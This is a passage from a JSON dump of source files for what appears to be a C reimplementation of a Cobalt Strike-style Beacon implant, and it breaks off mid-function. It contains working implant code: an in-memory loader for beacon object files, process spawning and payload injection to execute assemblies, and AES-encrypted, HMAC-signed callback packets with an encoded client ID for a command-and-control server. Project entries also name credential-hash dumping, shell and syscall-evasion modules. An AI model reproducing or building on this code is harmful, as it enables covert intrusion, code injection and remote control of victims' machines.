Include=\"File.c\">\n      <Filter>源文件\\Command</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Shell.c\">\n      <Filter>源文件\\Command</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Job.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Bof.c\">\n      <Filter>源文件\\Command</Filter>\n    </ClCompile>\n    <ClCompile Include=\"InjectProcess.c\">\n      <Filter>源文件\\Command</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Patch.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"GuangMing.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"CmdExecuteAssembly.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"DunpHash.c\">\n      <Filter>源文件\\Util</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"MetaData.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Util.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Config.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Http.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Command.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Job.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Bof.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"GuangMing.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"ntdef.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <MASM Include=\"bcookesHalosGate.asm\">\n      <Filter>源文件</Filter>\n    </MASM>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "Beacon/Bof.c",
    "content": "#include \"Bof.h\"\n#include \"Command.h\"\n\n\n\nvoid __cdecl BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)\n{\n    ProcessInject(pid, 0, hProc, payload, p_len, p_offset, arg, a_len);\n    //return;\n}\nvoid __cdecl BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pi, char* payload, int p_len, int p_offset, char* arg, int arg_len)\n{\n   // ProcessInject(pi->dwProcessId, pi, pi->hProcess, payload, p_len, p_offset, arg, arg_len);\n    return;\n}\n\nvoid __cdecl BeaconGetSpawnTo(BOOL x86, char* buffer, int length)\n{\n   /* char path[256];\n\n    getspawntopath(path, x86);\n    if (length >= 256)\n    {\n        memcpy(buffer, path, 0x100u);\n    }\n    else\n    {\n        memcpy(buffer, path, length);\n    }*/\n    return;\n}\nHANDLE pTokenHandle;\nBOOL __cdecl SetBeaconToken(HANDLE hToken, char* buffer)\n{\n    /*BeaconRevertToken();\n    if (!ImpersonateLoggedOnUser(hToken)\n        || !DuplicateTokenEx(hToken, 0x2000000u, 0, SecurityDelegation, TokenPrimary, &pTokenHandle)\n        || !ImpersonateLoggedOnUser(pTokenHandle)\n        || !get_user_sid(0x100u, pTokenHandle, buffer))\n    {\n        return 0;\n    }\n    BeaconTaskOutput(buffer, strlen(buffer), 15u);*/\n    return 1;\n}\n\nBOOL __cdecl BeaconUseToken(HANDLE hToken)\n{\n\n    char* buffer = (char*)malloc(256u);\n    memset(buffer, 0, 256);\n    BOOL ret = SetBeaconToken(hToken, buffer);\n    memset(buffer, 0, 256);\n    free(buffer);\n    return ret;\n}\nvoid __cdecl BeaconOutput(int type, char* data, int len)\n{\n    //BeaconTaskOutput(data, len, type);\n}\nvoid __cdecl BeaconPrintf(int type, char* fmt, ...)\n{\n    va_list ArgList = 0;\n    va_start(ArgList, fmt);\n    int size = vprintf(fmt, ArgList);\n    if (size > 0)\n    {\n        char* buffer = (char*)malloc(size + 1);\n        buffer[size] = 0;\n        vsprintf_s(buffer, size + 1, fmt, ArgList);\n        //BeaconTaskOutput(buffer, size, type);\n        DataProcess(buffer,size,0);\n        memset(buffer, 0, size);\n        free(buffer);\n    }\n}\nvoid InitInternalFunctions(BeaconInternalFunctions* InternalFunctions)\n{\n    memset(InternalFunctions, 0, 252);\n    InternalFunctions->LoadLibraryA = LoadLibraryA;\n    InternalFunctions->FreeLibrary = FreeLibrary;\n    InternalFunctions->GetProcAddress = GetProcAddress;\n    InternalFunctions->GetModuleHandleA = GetModuleHandleA;\n    InternalFunctions->BeaconDataParse = BeaconDataParse;\n    InternalFunctions->BeaconDataPtr = BeaconDataPtr;\n    InternalFunctions->BeaconDataInt = BeaconDataInt;\n    InternalFunctions->BeaconDataShort = BeaconDataShort;\n    InternalFunctions->BeaconDataLength = BeaconDataLength;\n    InternalFunctions->BeaconDataExtract = BeaconDataExtract;\n    InternalFunctions->BeaconFormatAlloc = BeaconFormatAlloc;\n    InternalFunctions->BeaconFormatReset = BeaconFormatReset;\n    InternalFunctions->BeaconFormatAppend = BeaconFormatAppend;\n    InternalFunctions->BeaconFormatPrintf = BeaconFormatPrintf;\n    InternalFunctions->BeaconFormatToString = BeaconFormatToString;\n    InternalFunctions->BeaconFormatFree = BeaconFormatFree;\n    InternalFunctions->BeaconFormatInt = BeaconFormatInt;\n    InternalFunctions->BeaconOutput = BeaconOutput;\n    InternalFunctions->BeaconPrintf = BeaconPrintf;\n    InternalFunctions->BeaconErrorD = BeaconErrorD;\n    InternalFunctions->BeaconErrorDD = BeaconErrorDD;\n    InternalFunctions->BeaconErrorNA = BeaconErrorNA;\n    InternalFunctions->BeaconUseToken = BeaconUseToken;\n    InternalFunctions->BeaconRevertToken = BeaconRevertToken;\n    InternalFunctions->BeaconIsAdmin = is_admin;\n    InternalFunctions->BeaconGetSpawnTo = BeaconGetSpawnTo;\n    InternalFunctions->BeaconInjectProcess = BeaconInjectProcess;\n    InternalFunctions->BeaconInjectTemporaryProcess = BeaconInjectTemporaryProcess;\n    InternalFunctions->BeaconSpawnTemporaryProcess = BeaconSpawnTemporaryProcess;\n    InternalFunctions->BeaconCleanupProcess = BeaconcloseAllHandle;\n    InternalFunctions->toWideChar = toWideChar;\n}\n\nint FixRelocation(BeaconBofRelocation* pBofRelocation, char* pcode_data, char* seg, int OffsetInSection, char* bof_code)\n{\n    if (pBofRelocation->Type == 6)\n    {\n        *(DWORD*)&pcode_data[pBofRelocation->offset] += (DWORD)&seg[OffsetInSection];\n        return 1;\n    }\n    if (pBofRelocation->Type == 4)\n    {\n        *(DWORD*)&pcode_data[pBofRelocation->offset] = (DWORD)&seg[*(DWORD*)&pcode_data[pBofRelocation->offset]\n            - pBofRelocation->offset\n            - (DWORD)bof_code\n            - 4\n            + OffsetInSection];\n        return 1;\n    }\n    BeaconErrorD(79, pBofRelocation->Type);\n    return 0;\n}\n\n\nchar* GetBeaconFunPtr(BeaconInternalFunctions* pinternalFunctions, char* pfun)\n{\n\n    char** p_end = &pinternalFunctions->end;\n    size_t number = 0;\n    char** pbeaconfun = &pinternalFunctions->end;\n\n    do\n    {\n        if (*pbeaconfun == pfun)\n        {\n            return (char*)(&pinternalFunctions->end + number);\n        }\n        ++number;\n        ++pbeaconfun;\n    } while (number < 64);\n\n    number = 0;\n    while (*p_end)\n    {\n        ++number;\n        ++p_end;\n        if (number >= 64)\n        {\n            return 0;\n        }\n    }\n    char* fun = (char*)(&pinternalFunctions->end + number);\n    *(char**)fun = pfun;\n    return fun;\n}\n\nvoid __cdecl  BeaconBof(unsigned char* Taskdata, size_t* Tasksize, size_t* Bufflen)\n{\n\n    BeaconInternalFunctions* internalFunctions = (BeaconInternalFunctions*)malloc(252);\n    InitInternalFunctions(internalFunctions);\n    datap pdatap;\n    BeaconDataParse(&pdatap, Taskdata, Tasksize);\n    int getEntryPoint = BeaconDataInt(&pdatap);\n\n    int code_size = 0;\n    char* pcode = BeaconDataPtr3(&pdatap, &code_size);\n\n    int rdata_size = 0;\n    char* prdata = BeaconDataPtr3(&pdatap, &rdata_size);\n\n    int data2_size = 0;\n    char* pdata2 = BeaconDataPtr3(&pdatap, &data2_size);\n\n    int relocations_size = 0;\n    char* prelocations = BeaconDataPtr3(&pdatap, &relocations_size);\n\n    int alen = 0;\n    char* args = BeaconDataPtr3(&pdatap, &alen);\n    //LPVOID bof_code = RWXaddress();\n    char* bof_code = (char*)VirtualAlloc(0, code_size, 0x3000u, PAGE_READWRITE);\n    int GetBeaconFunPtradd = 0;\n    if (bof_code)\n    {\n\n        datap pdatap;\n        BeaconDataParse(&pdatap, prelocations, relocations_size);\n        BeaconBofRelocation* pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12);\n        while (1)\n        {\n            BOOL status;\n            short id = pBofRelocation->id;\n            if (id == 1028)                         // SYMBOL_END\n            {\n                \n                break;\n            }\n            if (id == 1024)                         // SYMBOL_RDATA\n            {\n                status = FixRelocation(pBofRelocation, pcode, prdata, pBofRelocation->OffsetInSection, bof_code);//޸rdataضλ\n            }\n            else if (id == 1025)                    // SYMBOL_DATA\n            {\n                status = FixRelocation(pBofRelocation, pcode, pdata2, pBofRelocation->OffsetInSection, bof_code);//޸DATAضλ\n            }\n            else if (id == 1026)                    // SYMBOL_TEXT\n            {\n                status = FixRelocation(pBofRelocation, pcode, bof_code, pBofRelocation->OffsetInSection, bof_code);//޸codeضλ\n            }\n            else\n            {\n                char* pfun;\n                if (id == 1027)                       // SYMBOL_DYNAMICF\n                {\n                    char* strModule = BeaconDataPtr2(&pdatap);\n                    char* strFunction = BeaconDataPtr2(&pdatap);\n                    HMODULE dllbase = GetModuleHandleA(strModule);\n                    if (!dllbase)\n                    {\n                        dllbase = LoadLibraryA(strModule);\n                    }\n                    FARPROC functionaddress = GetProcAddress(dllbase, strFunction);\n                    if (!functionaddress)\n                    {\n                        //BeaconErrorFormat(76, (char*)\"%s!%s\", strModule, strFunction);\n                        return;\n                    }\n                    char* p = GetBeaconFunPtr(internalFunctions, (char*)functionaddress );\n                    if (!p)\n                    {\n                        //BeaconErrorNA(0x4Eu);\n                        return;\n                    }\n                    pfun = p;\n                }\n                else//޸\n                {\n                    pfun = (char*)(&internalFunctions->LoadLibraryA + id);\n                }\n                status = FixRelocation(pBofRelocation, pcode, pfun, 0, bof_code);\n                \n            }\n            if (!status)\n            {\n                return;\n            }\n            pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12);\n        }\n        memcpy(bof_code, pcode, code_size);\n        memset(pcode, 0, code_size);\n        if (CheckMemoryRWX(bof_code, code_size))\n        {\n            ((void(__cdecl*)(char*, UINT)) & bof_code[getEntryPoint])(args, alen);\n\n        }\n        VirtualFree(bof_code, 0, 0x8000);\n        free(internalFunctions);\n\n\n       \n    }\n}"
  },
  {
    "path": "Beacon/Bof.h",
    "content": "#pragma once\n#include \"Util.h\"\n\n\ntypedef HMODULE(__stdcall* fpLoadLibraryA)(LPCSTR lpLibFileName);\ntypedef BOOL(__stdcall* fpFreeLibrary)(HMODULE hLibModule);\ntypedef FARPROC(__stdcall* fpGetProcAddress)(HMODULE hModule, LPCSTR  lpProcName);\ntypedef HMODULE(__stdcall* fpGetModuleHandleA)(LPCSTR lpModuleName);\ntypedef void(__cdecl* fpBeaconDataParse)(formatp* parser, char* buffer, int size);\ntypedef char* (__cdecl* fpBeaconDataPtr)(formatp* parser, int size);\ntypedef int(__cdecl* fpBeaconDataInt)(formatp* parser);\ntypedef short(__cdecl* fpBeaconDataShort)(formatp* parser);\ntypedef int(__cdecl* fpBeaconDataLength)(formatp* parser);\ntypedef char* (__cdecl* fpBeaconDataExtract)(formatp* parser, int* size);\ntypedef void(__cdecl* fpBeaconFormatAlloc)(formatp* format, int maxsz);\ntypedef void(__cdecl* fpBeaconFormatReset)(formatp* format);\ntypedef void(__cdecl* fpBeaconFormatAppend)(formatp* format, char* text, int len);\ntypedef void(__cdecl* fpBeaconFormatPrintf)(formatp* format, char* fmt, ...);\ntypedef char* (__cdecl* fpBeaconFormatToString)(formatp* format, int* size);\ntypedef void(__cdecl* fpBeaconFormatFree)(formatp* format);\ntypedef void(__cdecl* fpBeaconFormatInt)(formatp* format, int value);\ntypedef void(__cdecl* fpBeaconOutput)(int type, char* data, int len);\ntypedef void(__cdecl* fpBeaconPrintf)(int type, char* fmt, ...);\ntypedef void(__cdecl* fpBeaconErrorD)(int BeaconErrorsType, DWORD error_code);\ntypedef void(__cdecl* fpBeaconErrorDD)(int BeaconErrorsType, int err_msg, u_long err_code_msg);\ntypedef void(__cdecl* fpBeaconErrorNA)(int BeaconErrorsType);\ntypedef BOOL(__cdecl* fpBeaconUseToken)(HANDLE token);\ntypedef BOOL(__cdecl* fpBeaconIsAdmin)();\ntypedef void(__cdecl* fpBeaconRevertToken)();\ntypedef void(__cdecl* fpBeaconGetSpawnTo)(BOOL x86, char* buffer, int length);\ntypedef void(__cdecl* fpBeaconInjectProcess)(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len);\ntypedef void(__cdecl* fpBeaconInjectTemporaryProcess)(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len);\ntypedef BOOL(__cdecl* fpBeaconSpawnTemporaryProcess)(BOOL x86, BOOL ignoreToken, STARTUPINFOA* si, PROCESS_INFORMATION* pInfo);\ntypedef void(__cdecl* fpBeaconCleanupProcess)(PROCESS_INFORMATION* pInfo);\ntypedef BOOL(__cdecl* fptoWideChar)(char* src, wchar_t* dst, unsigned int max);\n\ntypedef struct {\n\tfpLoadLibraryA LoadLibraryA;\n\tfpFreeLibrary FreeLibrary;\n\tfpGetProcAddress GetProcAddress;\n\tfpGetModuleHandleA GetModuleHandleA;\n\tfpBeaconDataParse BeaconDataParse;\n\tfpBeaconDataPtr BeaconDataPtr;\n\tfpBeaconDataInt BeaconDataInt;\n\tfpBeaconDataShort BeaconDataShort;\n\tfpBeaconDataLength BeaconDataLength;\n\tfpBeaconDataExtract BeaconDataExtract;\n\tfpBeaconFormatAlloc BeaconFormatAlloc;\n\tfpBeaconFormatReset BeaconFormatReset;\n\tfpBeaconFormatAppend BeaconFormatAppend;\n\tfpBeaconFormatPrintf BeaconFormatPrintf;\n\tfpBeaconFormatToString BeaconFormatToString;\n\tfpBeaconFormatFree BeaconFormatFree;\n\tfpBeaconFormatInt BeaconFormatInt;\n\tfpBeaconOutput BeaconOutput;\n\tfpBeaconPrintf BeaconPrintf;\n\tfpBeaconErrorD BeaconErrorD;\n\tfpBeaconErrorDD BeaconErrorDD;\n\tfpBeaconErrorNA BeaconErrorNA;\n\tfpBeaconUseToken BeaconUseToken;\n\tfpBeaconRevertToken BeaconRevertToken;\n\tfpBeaconIsAdmin BeaconIsAdmin;\n\tfpBeaconGetSpawnTo BeaconGetSpawnTo;\n\tfpBeaconInjectProcess BeaconInjectProcess;\n\tfpBeaconInjectTemporaryProcess BeaconInjectTemporaryProcess;\n\tfpBeaconSpawnTemporaryProcess BeaconSpawnTemporaryProcess;\n\tfpBeaconCleanupProcess BeaconCleanupProcess;\n\tfptoWideChar toWideChar;\n\tchar* end;\n\t\n}BeaconInternalFunctions;\n\ntypedef struct \n{\n\tshort Type;\n\tshort id;\n\tint offset;\n\tint OffsetInSection;\n}BeaconBofRelocation;"
  },
  {
    "path": "Beacon/CmdExecuteAssembly.c",
    "content": "#include \"Command.h\"\n#include \"Job.h\"\n\nunsigned char* ParseArg(unsigned char* buf, size_t* argsize) {\n    uint8_t argLenBytes[4];\n    if (*argsize == 0) {\n        memcpy(argLenBytes, buf + 8, 4);\n        uint32_t argLen = bigEndianUint32(argLenBytes);\n        if (argLen != 0) {\n            unsigned char* arg = (unsigned char*)malloc(argLen);\n            memcpy(arg, buf + 12, argLen);\n            arg[argLen] = '\\0';\n            *argsize = 12 + argLen;\n            return arg;\n        }\n\n    }\n    else\n    {\n        memcpy(argLenBytes, buf + *argsize, 4);\n        uint32_t argLen = bigEndianUint32(argLenBytes);\n        if (argLen != 0) {\n            unsigned char* arg = (unsigned char*)malloc(argLen);\n            memcpy(arg, buf + 4 + *argsize, argLen);\n            arg[argLen] = '\\0';\n            *argsize = 4 + *argsize + argLen;\n            return arg;\n        }\n\n    }\n\n}\n\n\nvoid ExecuteAssmblyInjection(int timeout, int p_offset, char* payload, size_t payloadsize, char* arg, int a_len, char* jobname, BOOL x86, int ignoreToken)\n{\n\n\n    HANDLE hReadPipe = NULL;\n    HANDLE hWritePipe = NULL;\n    SECURITY_ATTRIBUTES securityAttributes = { 0 };\n    STARTUPINFO si = { 0 };\n    PROCESS_INFORMATION pi = { 0 };\n    CreatePipeJob Createpipe = createjob();\n    hReadPipe = Createpipe.hReadPipe;\n    si = Createpipe.si;\n    //ProcessInject(GetCurrentProcessId(), &pi, GetCurrentProcess(), payload, payloadsize, p_offset, arg, a_len);\n\n    //ע뵽\n    if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi))\n    {\n        Sleep(0x64u);\n        ProcessInject(pi.dwProcessId, &pi, pi.hProcess, payload, payloadsize, p_offset, arg, a_len);\n        /*   if (timeout)\n           {\n               CheckTimeout(hReadPipe, timeout);\n           }*/\n        Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, jobname);\n\n        WaitForSingleObject(pi.hProcess, 5000);\n        // Read the result from the anonymous pipe into the output buffer\n        bool lastTime = false;\n        bool firstTime = true;\n        OVERLAPPED overlap = { 0 };\n        DWORD readbytes = 0;\n        DWORD availbytes = 0;\n        unsigned char buffff[1024 * 50];\n        while (!lastTime) {\n\n\n            DWORD event = WaitForSingleObject(pi.hProcess, 0);\n            if (event == WAIT_OBJECT_0 || event == WAIT_FAILED) {\n                lastTime = TRUE;\n            }\n\n            if (!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break;\n            while (lastTime == false && availbytes == 0) {\n                DWORD event = WaitForSingleObject(pi.hProcess, 5000);\n                PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL);\n            }\n\n            //if (!availbytes) break;\n            //if (!ReadFile(hReadPipe, buffff, min(sizeof(buffff) - 1, availbytes), &readbytes, NULL) || !readbytes) break;\n            if (lastTime == false || availbytes != 0) {\n                ReadFile(hReadPipe, buffff, sizeof(buffff), NULL, &overlap);\n            }\n\n            DWORD bytesTransferred;\n            ULONG_PTR completionKey;\n            LPOVERLAPPED pOverlapped;\n\n            if (overlap.InternalHigh > 0) {\n                if (firstTime) {\n                    DataProcess(buffff, overlap.InternalHigh, 0);\n                    firstTime = false;\n                }\n                else {\n                    if (lastTime == false) {\n                        /*    uint8_t requestIDBytes[5] = \"[+] \";\n                          uint8_t nnnn[4] = \" :\\n\";*/\n\n                        uint8_t* metaInfoBytes1[] = { buffff };\n                        size_t metaInfosizes1[] = { overlap.InternalHigh };\n                        size_t metaInfoBytesArrays1 = sizeof(metaInfoBytes1) / sizeof(metaInfoBytes1[0]);\n                        uint8_t* metaInfoconcatenated1 = ConByte(metaInfoBytes1, metaInfosizes1, metaInfoBytesArrays1);\n                        size_t metaInfoSize1 = 0;\n                        //  sizeof ֵܺ\n                        for (size_t i = 0; i < sizeof(metaInfosizes1) / sizeof(metaInfosizes1[0]); ++i) {\n                            metaInfoSize1 += metaInfosizes1[i];\n                        }\n\n                        DataProcess(metaInfoconcatenated1, metaInfoSize1, 0);\n                    }\n                    else {\n                        uint8_t jia[5] = \"[+] \";\n                        uint8_t nnn[2] = \"\\n\";\n                        uint8_t end[75] = \"-----------------------------------end-----------------------------------\\n\";\n                        uint8_t* metaInfoBytes[] = { jia,end };\n                        size_t metaInfosizes[] = { 5,75 };\n                        size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]);\n                        uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays);\n                        size_t metaInfoSize = 0;\n                        //  sizeof ֵܺ\n                        for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) {\n                            metaInfoSize += metaInfosizes[i];\n                        }\n                        DataProcess(metaInfoconcatenated, metaInfoSize, 0);\n\n\n                    }\n                    // buf[readbytes] = 0;\n                     //strncat(outbuf, buf, outbuf_size - strlen(outbuf) - 1);\n                }\n            }\n\n            Sleep(2000);\n\n        }\n        CloseHandle(pi.hThread);\n        CloseHandle(pi.hProcess);\n        CloseHandle(hWritePipe);\n        CloseHandle(hReadPipe);\n        /* }\n         else\n         {\n             return 0;\n         }*/\n\n    }\n\n\n}\n\n\n\n\n\n\n\ndatap* BeaconDataInit(int size)\n{\n    char* pdata;\n    datap* pdatap;\n\n    pdatap = (datap*)malloc(sizeof(datap));\n    if (!pdatap)\n    {\n        return 0;\n    }\n    pdata = (char*)malloc(size);\n    if (!pdata)\n    {\n        return 0;\n    }\n    memset(pdata, 0, size);\n    BeaconDataParse(pdatap, pdata, size);\n    return pdatap;\n}\nint BeaconDataCopyToBuffer1(datap* parser, char* buffer, int buffer_size)\n{\n    int copy_size = BeaconDataInt(parser);\n    if (!copy_size)\n    {\n        return 0;\n    }\n    if (copy_size + 1 > buffer_size)\n    {\n        return 0;\n    }\n    char* data = BeaconDataPtr(parser, copy_size);\n    if (!data)\n    {\n        return 0;\n    }\n    memcpy(buffer, data, copy_size);\n    buffer[copy_size] = 0;\n    return copy_size + 1;\n}\nchar* BeaconDataBuffer(datap* parser)\n{\n    return parser->buffer;\n}\nvoid ParseAssember(unsigned char* buf, size_t* commandBuflen) {\n\n    uint8_t callbackTypeByte[2];\n\n    uint8_t sleepTimeByte[2];\n    uint8_t offset[4];\n    unsigned char* callbackTypeBytestart = buf;\n    unsigned char* sleepTimeBytestart = buf + 2;\n    unsigned char* offsetstart = buf + 4;\n    memcpy(callbackTypeByte, callbackTypeBytestart, 2);\n    memcpy(sleepTimeByte, sleepTimeBytestart, 2);\n    memcpy(offset, offsetstart, 4);\n    uint32_t offsetType = bigEndianUint32(offset);\n    uint16_t callBackType = Readshort(callbackTypeByte);\n    uint16_t sleepTime = Readshort(sleepTimeByte);\n    size_t ParseArgSize = 0;\n    unsigned char* jobname = 0;\n    unsigned char* csharp = 0;\n    jobname = ParseArg(buf, &ParseArgSize);\n    csharp = ParseArg(buf, &ParseArgSize);\n    size_t dlllen = (size_t)commandBuflen - ParseArgSize;\n    unsigned char* dll = (unsigned char*)malloc(dlllen);\n    dll[dlllen] = '\\0';\n    memcpy(dll, buf + ParseArgSize, dlllen);\n    ExecuteAssmblyInjection(sleepTime, offsetType, dll, dlllen, csharp, ParseArgSize, jobname, 1, 0);\n\n\n\n\n\n\n}\n\nunsigned char* EXECUTE_ASSEMBLY(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen) {\n    ParseAssember(buf, commandBuflen);\n}"
  },
  {
    "path": "Beacon/Command.c",
    "content": "#include <windows.h>\n#include \"Command.h\"\n#include \"Http.h\"\n#include <pthread.h>\n#pragma warning(disable:4996)\nextern int SleepTime;\nextern int Counter;\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\nextern unsigned char AESRandaeskey[16];\\\nextern int clientID;\nstruct Buffer {\n    unsigned char* data;\n    size_t capacity;\n    size_t length;\n};\n\nvoid buffer_init(struct Buffer* buf) {\n    buf->data = malloc(1);  // ʼΪ1\n    if (buf->data == NULL) {\n        fprintf(stderr, \"ڴʧ\\n\");\n        exit(EXIT_FAILURE);\n    }\n    buf->data[0] = '\\0';\n    buf->capacity = 1;\n    buf->length = 0;\n}\n\nvoid buffer_append(struct Buffer* buf, unsigned char* str, size_t* buflen) {\n    size_t len = buflen;\n    if (buf->data == NULL) {\n        buf->data = (unsigned char*)malloc(len);\n        if (buf->data == NULL) {\n            fprintf(stderr, \"ڴʧ\\n\");\n            exit(EXIT_FAILURE);\n        }\n        buf->capacity = len;\n        buf->length = len;\n        memcpy(buf->data, str, len);\n    }\n    else {\n        size_t required_capacity = buf->length + len;\n        if (required_capacity > buf->capacity) {\n            while (required_capacity > buf->capacity) {\n                buf->capacity *= 2;\n            }\n            unsigned char* new_data = (unsigned char*)realloc(buf->data, buf->capacity);\n            if (new_data == NULL) {\n                fprintf(stderr, \"ڴʧ\\n\");\n                exit(EXIT_FAILURE);\n            }\n            buf->data = new_data;\n        }\n        memcpy(buf->data + buf->length, str, len);\n        buf->length += len;\n    }\n}\n\nvoid buffer_free(struct Buffer* buf) {\n    free(buf->data);\n    buf->data = NULL;\n    buf->capacity = 0;\n    buf->length = 0;\n}\n\nvoid SleepTimes(unsigned char* Buf) {\n    // ȴָʱ䣨ԺΪλ\n    uint8_t buf4[4];\n    memcpy(buf4, Buf, 4);\n    uint32_t sleep = bigEndianUint32(buf4);\n    SleepTime = sleep;\n}\n\nunsigned char* MakePacket(int callback,unsigned char* buff,size_t lenn,size_t* buflen) {\n    Counter += 1;\n    //printf(\"1111 %d\\n\", lenn);\n\n    struct Buffer buf;\n    buffer_init(&buf);\n    \n    uint8_t counterBytes[4];\n    PutUint32BigEndian(counterBytes, (uint32_t)Counter);\n    buffer_append(&buf, counterBytes,4);\n    //printf(\"buf.dat111 : %d\\n\", buf.length);\n    for (size_t i = 0; i < buf.length; ++i) {\n        //printf(\"0x%02x, \", buf.data[i]);\n    }\n    //printf(\"\\n\");\n    if (buff != NULL) {\n        uint8_t resultLenBytes[4];\n        //printf(\"1111 %d\\n\", lenn);\n        int resultLen = (int)lenn + 4;\n        PutUint32BigEndian(resultLenBytes, (uint32_t)resultLen);\n        for (size_t i = 0; i < 4; ++i) {\n            //printf(\"0x%02x, \", resultLenBytes[i]);\n        }\n        buffer_append(&buf, resultLenBytes,4);\n        //printf(\"buf.dat22222 : %d\\n\", buf.length);\n        for (size_t i = 0; i < buf.length; ++i) {\n            //printf(\"0x%02x, \", buf.data[i]);\n        }\n\n    }\n    uint8_t replyTypeBytes[4];\n    PutUint32BigEndian(replyTypeBytes, (uint32_t)callback);\n    buffer_append(&buf, replyTypeBytes,4);\n    buffer_append(&buf, buff,lenn);\n\n    size_t decryptAES_CBCdatalen;\n    ////printf(\"\\n\");\n    ////printf(\"buf.dat33333 : %d\\n\", buf.length);\n    //for (size_t i = 0; i < buf.length; ++i) {\n    //    //printf(\"0x%02x, \", buf.data[i]);\n    //}\n    ////printf(\"\\n\");\n   unsigned char* EncryptAES_CBCdata = AesCBCEncrypt(buf.data, AESRandaeskey, buf.length, &decryptAES_CBCdatalen);\n    //printf(\"\\n\");\n    //printf(\"EncryptAES_CBCdata : %d\\n\", decryptAES_CBCdatalen);\n   /* for (size_t i = 0; i < decryptAES_CBCdatalen; ++i) {\n        //printf(\"0x%02x, \", EncryptAES_CBCdata[i]);\n    }\n    //printf(\"\\n\");*/\n    EncryptAES_CBCdata[decryptAES_CBCdatalen] = '\\0';\n    unsigned char* encrypted;\n    encrypted = EncryptAES_CBCdata + 16;\n    buffer_free(&buf);\n\n\n    int sendLen = decryptAES_CBCdatalen;\n    uint8_t sendLenBytes[4];\n    PutUint32BigEndian(sendLenBytes, (uint32_t)sendLen);\n    //printf(\"0000000000000000\\n\");\n    for (size_t i = 0; i < 4; ++i) {\n        //printf(\"%d, \", sendLenBytes[i]);\n    }\n    //printf(\"\\n\");\n    buffer_init(&buf);\n    buffer_append(&buf, sendLenBytes,4);\n    buffer_append(&buf, encrypted, decryptAES_CBCdatalen-16);\n    size_t encryptedBytesLen = decryptAES_CBCdatalen - 16;\n   /* //printf(\"11111111111111111\\n %d\", encryptedBytesLen);\n    for (size_t i = 0; i < encryptedBytesLen; ++i) {\n        //printf(\"%d %d \", i, encrypted[i]);\n    }*/\n\n\n    unsigned char* hmacResult = HMkey(encrypted, encryptedBytesLen);\n    ////printf(\"222222222222222222\\n %d\");\n    //for (size_t i = 0; i <16; ++i) {\n    //    //printf(\"%d %d \\n\", i, hmacResult[i]);\n    //}\n    \n    buffer_append(&buf, hmacResult,16);\n    *buflen = buf.length;\n    /*//printf(\"33333333333\\n %d\");\n    for (size_t i = 0; i < buf.length; ++i) {\n        //printf(\"%d %d \\n\", i, buf.data[i]);\n    }*/\n    return buf.data;\n        \n\n\n}\nunsigned char* PushResult(unsigned char* finalPaket, size_t* buflen) {\n    //printf(\"finalPaket 2: %d \\n\", buflen);\n    int temp = clientID;\n    int digitCount = 0;\n    while (temp != 0) {\n        temp /= 10;\n        ++digitCount;\n    }\n\n    // ַĳȣźֹ '\\0'\n    int charArrayLength = (clientID < 0) ? digitCount + 2 : digitCount + 1;\n\n    // ʹ malloc ̬㹻ڴ洢תַ\n    unsigned char* CharId = (unsigned char*)malloc(charArrayLength * sizeof(char)-1);\n    if (CharId == NULL) {\n        //printf(\"ڴʧ\\n\");\n        exit(EXIT_FAILURE);\n    }\n\n    // ʹ sprintf ֵתΪַ洢ڶ̬ڴ\n    sprintf(CharId, \"%d\", clientID);\n    size_t codelen;\n    unsigned char* MaskEncodeid = MaskEncode(CharId, charArrayLength * sizeof(char)-1,&codelen);\n\n    unsigned char netbiosKey = 'A'; // Replace 'a' with your desired key\n    size_t NetbiosEncodeIdlen;\n    unsigned char* id = NetbiosEncode(MaskEncodeid, strlen(MaskEncodeid), netbiosKey, &NetbiosEncodeIdlen);\n    id[NetbiosEncodeIdlen] = '\\0';\n    //printf(\"id %s: \\n\", id);\n    //for (size_t i = 0; i < NetbiosEncodeIdlen; ++i) {\n    //    //printf(\"%d \", id[i]);\n    //}\n    //printf(\"\\n\");\n    size_t codelen1;\n    //printf(\"finalPaket 3: %d \\n\", buflen);\n    //for (size_t i = 0; i < buflen; ++i) {\n    //    //printf(\"%d \", finalPaket[i]);\n    //}\n    